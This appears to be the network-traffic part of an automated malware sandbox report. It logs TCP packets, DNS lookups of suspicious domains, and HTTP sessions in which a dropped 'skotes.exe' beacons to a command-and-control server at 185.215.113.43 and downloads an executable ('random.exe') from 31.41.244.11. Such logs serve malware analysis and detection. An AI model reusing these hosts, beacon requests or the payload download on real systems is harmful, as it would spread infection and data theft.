                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.939330101 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.939346075 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.939992905 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.940042973 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.940140963 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.940191984 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.940834045 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.940880060 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.941091061 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.941142082 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.941721916 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.941773891 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.941814899 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.941863060 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.942631006 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.942678928 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.942722082 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.942769051 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.943458080 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.943612099 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.943681002 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.944309950 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.944363117 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.944432020 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.944479942 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.945146084 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.945349932 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.945435047 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.945482016 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.946141005 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.946176052 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.946192980 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.946227074 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.946913958 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.946966887 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.947000980 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.947766066 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.947822094 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.947915077 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.948328972 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.948647976 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.948793888 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.948847055 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.949475050 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.949574947 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.949624062 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.950412989 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.950437069 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.950462103 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.950495005 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.951183081 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.951349020 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.951400042 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.952040911 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.952157021 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.952209949 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.953134060 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.953149080 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.953191996 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.953787088 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.953902960 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.953954935 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.954586983 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.954658031 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.954786062 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.955517054 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.955569983 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.955672026 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.956286907 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.956374884 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.956461906 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.956512928 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.957200050 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.957484961 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.957535028 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.958039045 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.958087921 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.958159924 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.958939075 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.958991051 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.959114075 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.959592104 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.959760904 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.959820032 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.960021973 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.960541010 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.960720062 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.960953951 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.961009026 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.961903095 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.961951971 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.962181091 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.962282896 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.962497950 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.962548018 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.962662935 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.962718010 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.963248014 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.963305950 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.963352919 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.963402033 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.964060068 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.964122057 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.964183092 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.964241028 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.964932919 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.964987040 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:37.965079069 CET804986131.41.244.11192.168.2.5

                                                                                                                                                                                                                                                            DNS Queries

                                                                                                                                                                                                                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:29.409383059 CET192.168.2.51.1.1.10xc268Standard query (0)lossekniyyt.clickA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:42.054014921 CET192.168.2.51.1.1.10x5c1eStandard query (0)httpbin.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:42.054092884 CET192.168.2.51.1.1.10x770bStandard query (0)httpbin.org28IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.850898027 CET192.168.2.51.1.1.10xc37eStandard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.851038933 CET192.168.2.51.1.1.10x235bStandard query (0)home.twentytk20pn.top28IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:49.956327915 CET192.168.2.51.1.1.10x9c2eStandard query (0)sweepyribs.latA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:49.997359991 CET192.168.2.51.1.1.10x182eStandard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:49.997407913 CET192.168.2.51.1.1.10xc4c3Standard query (0)home.twentytk20pn.top28IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:50.262311935 CET192.168.2.51.1.1.10x2436Standard query (0)grannyejh.latA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.296833038 CET192.168.2.51.1.1.10xa4f7Standard query (0)sweepyribs.latA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:10.069979906 CET192.168.2.51.1.1.10xa803Standard query (0)www.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:10.070156097 CET192.168.2.51.1.1.10x44b9Standard query (0)www.google.com65IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:12.753674030 CET192.168.2.51.1.1.10x9fe0Standard query (0)sweepyribs.latA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:14.356726885 CET192.168.2.51.1.1.10x1a40Standard query (0)twentytk20pn.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:14.356892109 CET192.168.2.51.1.1.10xbcd6Standard query (0)twentytk20pn.top28IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:19.734472036 CET192.168.2.51.1.1.10x95f0Standard query (0)twentytk20pn.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:19.734570026 CET192.168.2.51.1.1.10x7af5Standard query (0)twentytk20pn.top28IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:23.314778090 CET192.168.2.51.1.1.10xc498Standard query (0)www.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:23.314891100 CET192.168.2.51.1.1.10x289cStandard query (0)www.google.com65IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:27.630325079 CET192.168.2.51.1.1.10xe0aeStandard query (0)twentytk20pn.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:27.630379915 CET192.168.2.51.1.1.10x7430Standard query (0)twentytk20pn.top28IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:30.461302996 CET192.168.2.51.1.1.10xfb40Standard query (0)home.twentytk20pn.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:30.461380959 CET192.168.2.51.1.1.10x58a8Standard query (0)home.twentytk20pn.top28IN (0x0001)false

                                                                                                                                                                                                                                                            DNS Answers

                                                                                                                                                                                                                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:29.882514000 CET1.1.1.1192.168.2.50xc268No error (0)lossekniyyt.click104.21.12.88A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:29.882514000 CET1.1.1.1192.168.2.50xc268No error (0)lossekniyyt.click172.67.131.246A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:42.359719038 CET1.1.1.1192.168.2.50x5c1eNo error (0)httpbin.org34.226.108.155A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:42.359719038 CET1.1.1.1192.168.2.50x5c1eNo error (0)httpbin.org98.85.100.80A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:46.738241911 CET1.1.1.1192.168.2.50xc37eNo error (0)home.twentytk20pn.top185.185.71.170A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:50.136482000 CET1.1.1.1192.168.2.50x182eNo error (0)home.twentytk20pn.top185.185.71.170A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:50.260494947 CET1.1.1.1192.168.2.50x9c2eName error (3)sweepyribs.latnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:50.578425884 CET1.1.1.1192.168.2.50x2436No error (0)grannyejh.lat172.67.179.109A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:50.578425884 CET1.1.1.1192.168.2.50x2436No error (0)grannyejh.lat104.21.64.80A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.440011024 CET1.1.1.1192.168.2.50xa4f7Name error (3)sweepyribs.latnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:10.208395004 CET1.1.1.1192.168.2.50xa803No error (0)www.google.com142.250.181.132A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:10.209291935 CET1.1.1.1192.168.2.50x44b9No error (0)www.google.com65IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:12.893110991 CET1.1.1.1192.168.2.50x9fe0Name error (3)sweepyribs.latnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:14.663151026 CET1.1.1.1192.168.2.50x1a40No error (0)twentytk20pn.top185.185.71.170A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:19.873539925 CET1.1.1.1192.168.2.50x95f0No error (0)twentytk20pn.top185.185.71.170A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:23.453541040 CET1.1.1.1192.168.2.50xc498No error (0)www.google.com142.250.181.132A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:23.453721046 CET1.1.1.1192.168.2.50x289cNo error (0)www.google.com65IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:27.769027948 CET1.1.1.1192.168.2.50xe0aeNo error (0)twentytk20pn.top185.185.71.170A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:30.601090908 CET1.1.1.1192.168.2.50xfb40No error (0)home.twentytk20pn.top185.185.71.170A (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                            HTTP Packets

                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            0192.168.2.549789185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:04.083817005 CET156OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 4
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 73 74 3d 73
                                                                                                                                                                                                                                                            Data Ascii: st=s
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:05.410445929 CET219INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:05 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Refresh: 0; url = Login.php
                                                                                                                                                                                                                                                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 1 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            1192.168.2.549795185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:07.051719904 CET310OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 156
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 41 32 46 37 31 42 32 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39
                                                                                                                                                                                                                                                            Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DBA2F71B25982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.524971962 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:08 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Data Raw: 35 35 35 0d 0a 20 3c 63 3e 31 30 31 37 31 39 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 37 31 39 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 33 32 63 38 36 34 34 34 64 62 33 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 37 31 39 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 37 31 39 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: 555 <c>1017190001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1017192001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1017193001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1017194001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1017195001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1017196001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1017197001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1017198001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1017199001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1017200001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#1017201001+++b5937c1a99d5f9df0b5dafc850 [TRUNCATED]
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.525132895 CET124INData Raw: 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 37 32 30 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63
                                                                                                                                                                                                                                                            Data Ascii: a485a9592e100b7#1017202001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709e5b03ac52ea484b411b9dc4e1#1017203001++
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.762155056 CET196INData Raw: 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 30 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61
                                                                                                                                                                                                                                                            Data Ascii: +b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1017204001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#<d>0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            2192.168.2.54980131.41.244.11806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:08.886882067 CET62OUTGET /files/burpin1/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Host: 31.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:10.264518976 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:10 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 4438776
                                                                                                                                                                                                                                                            Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "675784f0-43baf8"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
